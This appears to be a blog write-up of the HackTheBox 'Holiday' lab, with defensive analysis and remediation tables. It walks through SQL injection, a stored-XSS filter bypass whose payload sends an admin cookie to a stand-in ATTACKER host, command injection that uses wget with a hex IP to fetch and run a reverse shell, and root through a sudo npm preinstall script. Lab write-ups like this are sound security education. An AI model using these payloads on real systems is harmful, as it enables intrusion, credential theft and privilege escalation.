Skip to content
Back to all posts

HTB: Holiday

· 25 min hard Linux Holiday

A Linux box combining SQL injection for credential extraction, stored XSS with aggressive filter bypass to steal an admin cookie, command injection through a character-restricted export endpoint, and sudo npm install for root.

Overview

Holiday is a hard-rated Linux machine running Ubuntu 16.04 with a Node.js web application on port 8000. The attack chain spans four exploitation phases: SQL injection on the login form to extract credentials, stored XSS via booking notes to steal an admin session cookie from a PhantomJS bot, command injection on an export endpoint with a severely restricted character set, and privilege escalation through sudo npm install with a malicious preinstall script.

The difficulty here is not in any single vulnerability. Each step individually is well-documented. What makes Holiday demanding is the combination of filter bypasses and character restrictions that require precise, hand-crafted payloads. The command injection phase is the most constrained I have encountered on HackTheBox: the character filter blocks hyphens, dots, colons, pipes, redirections, and most special characters, leaving only lowercase alphanumerics, ampersands, spaces, and forward slashes. Standard reverse shell one-liners all fail. The attacker must understand the underlying tools deeply enough to reconstruct their functionality within these constraints.

Reconnaissance

I start with a service-version scan:

nmap -sC -sV -oA scans/holiday 10.129.29.106
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 UbuntuUbuntu 16.04
8000HTTPNode.jsBooking application

Two services. The attack surface is minimal: SSH and a custom web application. The OpenSSH version maps to Ubuntu 16.04 (Xenial), which is consistent across both ports.

During initial HTTP requests, I notice the application returns empty responses unless the User-Agent header contains “Linux”. This is a server-side check in the Node.js application, not a standard web server behaviour. All subsequent HTTP tooling needs a custom User-Agent. I set this globally in Burp’s project-level match-and-replace rules.

Attack Surface Analysis

Web application enumeration

The application at http://10.129.29.106:8000/ presents a booking management system with a login form at /login. Directory brute-forcing with gobuster (using the adjusted User-Agent) reveals /admin (requires authentication) and /agent (the booking management interface, also authenticated).

No version banners are exposed. The response headers confirm Node.js but disclose no framework information. The application does not set security headers (no CSP, no X-Frame-Options, no X-Content-Type-Options), which becomes relevant during the XSS phase.

Login form: SQL injection

The /login endpoint accepts username and password parameters via POST. Manual testing with a single quote in the username field produces a 500 error, which signals an injection point. The application uses SQLite as its backend database; I confirm this from the error message structure (SQLite errors differ from MySQL and PostgreSQL in their phrasing).

I run sqlmap with elevated detection parameters because the injection is boolean-blind rather than error-based or UNION-based. The standard --level=1 misses it:

sqlmap -r sqlmap.req --level=5 --risk=3 --dump-all --user-agent="Mozilla/5.0 (X11; Linux x86_64)"

The --level=5 flag tells sqlmap to test additional injection points (cookies, User-Agent, Referer) and more payload variations. --risk=3 enables time-based and OR-based injections that might cause data modification. Both are necessary here because the injection requires a specific payload structure that lower levels do not attempt.

AttributeValue
CWECWE-89 (SQL Injection)
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Root causeUser input concatenated directly into SQL query string
PrerequisiteNone (unauthenticated)

The users table contains one entry:

idactiveusernamepassword
11RickAfdc8cd4cff2c19e0d1022e78481ddf36

The MD5 hash cracks to nevergonnagiveyouup via CrackStation. Unsalted MD5 for password storage: two problems in one column.

Booking notes: stored XSS target

After logging in as RickA, the application allows creating bookings with a freeform notes field. These notes appear in an admin review queue. A PhantomJS 2.1.1 headless browser visits the review page approximately every 60 seconds, simulating an administrator reviewing pending bookings.

The admin’s session cookie is stored in a hidden form input (document.getElementsByName("cookie")[0].value) rather than as a standard HTTP cookie. This means document.cookie is empty in the bot’s context; the XSS payload must read the cookie from the DOM element directly. I discover this by injecting a simple document.cookie exfiltration first, receiving an empty string, then inspecting the page source through a second XSS payload that exfiltrates document.body.innerHTML.

Vulnerability Analysis

XSS filter bypass

The XSS filter on booking notes is a denylist approach. I test systematically to map what is allowed and what is stripped:

  • <script> tags: blocked entirely (removed from output)
  • <img> tags: whitelisted, but quotes are stripped from attribute values
  • Event handlers (onerror, onload, onfocus): stripped case-insensitively
  • Angle brackets within attribute values: entity-encoded
  • javascript: protocol in src/href: blocked
  • <svg>, <iframe>, <object>: blocked

The filter’s weakness is that it processes <img> tags but does not prevent the src attribute from containing content that breaks out of the tag context. If quotes are stripped, the following payload causes the src to close prematurely and introduces a new tag:

<img src="/><script>eval(String.fromCharCode(CODES))</script>" />

After quote stripping, this becomes:

<img src=/><script>eval(String.fromCharCode(CODES))</script> />

The browser parses <img src=/> as a self-closing image tag, then encounters a valid <script> block. The <script> tag itself is not caught by the filter because it appears inside what the filter believes is an attribute value (the filter processes the string before quote removal, so the <script> is inside quotes at filter-evaluation time, but outside quotes at render time).

String.fromCharCode avoids any keyword-based filtering within the script body. The character codes decode to arbitrary JavaScript at runtime.

AttributeValue
CWECWE-79 (Stored Cross-Site Scripting)
CVSS 3.18.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
Root causeDenylist-based input sanitisation with a processing order flaw
PrerequisiteAuthenticated user (RickA)

The root cause is the mismatch between when the filter evaluates and when the browser parses. The filter sees <script> inside an attribute value and ignores it; the browser sees it outside the attribute because quotes have been removed. This class of vulnerability (filter/parser differential) appears in nearly every custom XSS filter implementation.

Exploitation

I set up a Python HTTP server on port 80 to serve the XSS payload and capture the exfiltrated cookie. The JavaScript payload encoded via String.fromCharCode:

document.write('<script src="http://ATTACKER/holiday.js"></script>');

The holiday.js file reads the cookie from the DOM hidden input and exfiltrates it:

var cookie = document.getElementsByName("cookie")[0].value;
new Image().src = "http://ATTACKER/steal?c=" + cookie;

I submit a booking with the crafted <img> payload in the notes field. Within 60 seconds, the PhantomJS bot processes the note and my HTTP server receives:

GET /steal?c=<admin_session_token> HTTP/1.1

I failed on the first two attempts. The first used document.cookie (empty, as described above). The second tried loading the external script from port 9999, which worked from my browser but not from PhantomJS; the bot’s environment had outbound restrictions that only permitted port 80. Switching to port 80 resolved it.

Phase 2: command injection on export endpoint

The admin session cookie unlocks the /admin dashboard, which includes an /admin/export endpoint. This endpoint accepts a table parameter and generates a CSV export. The parameter value is interpolated into a shell command server-side.

I confirm command execution by appending &id to the table name:

GET /admin/export?table=bookings%26id

Response includes:

uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)

The & character works because the shell interprets it as a command separator. The application runs as user algernon.

The character filter is the real challenge. Through systematic testing (sending each printable ASCII character individually and checking the response), I map the permitted set to approximately [a-z0-9&\s\/]. Everything else returns a 400 error. This blocks:

  • Hyphens: cannot use command flags (-e, -o, -c)
  • Dots: cannot reference files (user.txt) or IP addresses (10.129.x.x)
  • Colons: cannot specify ports in URLs (http://IP:PORT)
  • Pipes: cannot chain commands with |
  • Redirections: cannot write output with > or read input with <
  • Backticks and dollar signs: cannot use command substitution
  • Semicolons: cannot use alternative command separators

The approach I settle on after several failed attempts: use wget to download a reverse shell script from my HTTP server on port 80 (default port, no colon needed). The IP address is expressed in hexadecimal notation to avoid dots.

An IPv4 address can be represented as a single 32-bit hexadecimal integer. For example, 10.10.14.5 becomes 0x0a0e0e05. Most networking tools, including wget, accept this format. This bypasses the dot restriction entirely.

GET /admin/export?table=bookings%26wget+0x0a0e0e05/shell

My HTTP server on port 80 serves a file named shell containing a bash reverse shell. The wget command downloads it to the current working directory.

I tried curl first, but curl requires flags (-o for output) which contain hyphens. wget without flags downloads to the current directory with the remote filename, making it usable within the character restrictions.

Executing the downloaded script:

GET /admin/export?table=bookings%26bash+shell

A reverse shell connects back as algernon. User flag obtained.

Phase 3: privilege escalation via sudo npm install

With a shell as algernon, I check sudo permissions:

sudo -l
# (ALL) NOPASSWD: /usr/bin/npm i *

The wildcard after npm i means any argument is accepted. npm install processes a package.json file in the target directory and executes any lifecycle scripts defined within it. The preinstall script runs before package resolution, as the invoking user (root, via sudo).

I create a minimal package.json in /tmp/privesc/:

{
  "name": "privesc",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "/bin/bash"
  }
}
cd /tmp/privesc
sudo /usr/bin/npm i /tmp/privesc --unsafe-perm

The --unsafe-perm flag (or --unsafe in older npm versions) tells npm to run lifecycle scripts as the current user rather than downgrading to nobody. Since the current user is root (via sudo), the preinstall script executes /bin/bash as root.

Root shell obtained. Root flag collected.

AttributeValue
CWECWE-269 (Improper Privilege Management)
Root causeSudo rule grants root execution of a package manager that runs arbitrary scripts
PrerequisiteShell access as algernon

Post-Exploitation

The system runs Ubuntu 16.04 with kernel 4.4.0. The Node.js application runs as algernon and spawns PhantomJS 2.1.1 for admin note review. PhantomJS 2.1.1 is based on an outdated WebKit engine (circa 2016) with known vulnerabilities including CVE-2017-2446 and CVE-2017-2447; in a production environment, this would be an additional attack vector for browser-based exploitation against the server itself, not just cookie theft.

The SQLite database is stored in the application directory with no filesystem encryption. The booking notes table contains the XSS payloads from the exploitation phase, which would persist and re-trigger on any future admin review.

The sudo npm install configuration is the most critical finding from a defensive perspective. npm lifecycle scripts execute arbitrary code by design. Granting sudo access to npm i with a wildcard is functionally equivalent to (ALL) NOPASSWD: ALL.

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190SQLi signatures in WAF; boolean-blind probing patterns in logs
ExecutionT1059.007XSS payload in stored content; JavaScript in booking notes
Credential AccessT1539Cookie exfiltration via outbound HTTP from PhantomJS process
ExecutionT1059.004Command injection; & followed by system commands in URL parameters
Privilege EscalationT1548.003sudo npm execution; new process tree rooted at npm with root UID

The XSS filter demonstrates why denylists fail. The developer blocked <script> tags, event handlers, and certain attribute patterns, but missed the processing order flaw where content evaluated as safe (inside an attribute) is rendered as unsafe (outside the attribute after quote stripping). Content Security Policy headers would have prevented the external script load regardless of the XSS payload structure. A single script-src 'self' directive would have neutralised this entire phase.

The command injection filter is a second denylist failure. The developer blocked dangerous characters but left & (a shell command separator) in the permitted set. An allowlist of table names (e.g. bookings, users, agents) rather than a character filter on arbitrary input would have eliminated the injection entirely.

Remediation

PriorityActionEffortImpact
P0Remove sudo npm install from algernon’s sudoersLowCritical
P0Fix SQL injection with parameterised queries (prepared statements)MediumCritical
P0Replace denylist XSS filter with contextual output encoding (template auto-escaping)MediumCritical
P1Deploy CSP headers: script-src 'self'; object-src 'none'LowHigh
P1Store session tokens as HttpOnly, Secure cookiesLowHigh
P1Allowlist table names in the export endpoint; reject anything not in the listLowHigh
P2Replace PhantomJS with Puppeteer (maintained Chromium)MediumMedium
P2Restrict outbound connections from the application serverMediumMedium
P2Hash passwords with bcrypt/argon2 instead of unsalted MD5LowMedium
P3Upgrade to a supported Ubuntu releaseHighMedium

The sudo npm configuration deserves special attention. npm install is a code execution primitive. Granting it sudo access is equivalent to granting unrestricted root. This pattern appears in production environments more often than it should, typically in CI/CD pipelines where developers add npm to sudoers “temporarily” to resolve a permissions issue, then never remove it. The same principle applies to pip, gem, cargo, and every other package manager with lifecycle hooks.

Key Takeaways

  1. Stored XSS against automated bots is a real attack pattern. The PhantomJS admin bot simulates a common scenario: automated systems that process user-submitted content. Ticketing systems, CMS moderation queues, and customer support platforms all present this attack surface. If the system processes HTML content in a browser context, stored XSS can steal session tokens regardless of whether a human is on the other end.

  2. Character-restricted command injection requires understanding the tools, not just the syntax. When the character filter blocks most special characters, the attacker cannot rely on memorised one-liners. Hexadecimal IP representation, default ports, and tool-specific behaviours (wget saves to the current directory without flags) become necessary. The constraint on Holiday is severe enough that I failed with three different approaches before finding one that worked within [a-z0-9&\s\/].

  3. Custom XSS filters have a processing order problem. The filter and the browser parse the same HTML differently. The filter evaluates the input in one state (quotes present); the browser renders it in another (quotes stripped). This differential is inherent to denylist filtering. Contextual output encoding (escaping <, >, ", ', & at the template layer) and CSP are the correct mitigations because they operate at render time, not at input time.

  4. npm lifecycle scripts are code execution. Any npm command that processes a package.json file will execute lifecycle scripts (preinstall, postinstall, prepare). Granting sudo access to npm is granting sudo access to arbitrary code. Audit every sudoers entry that references a package manager; if it accepts user-controlled input (a path or package name), it is a privilege escalation vector.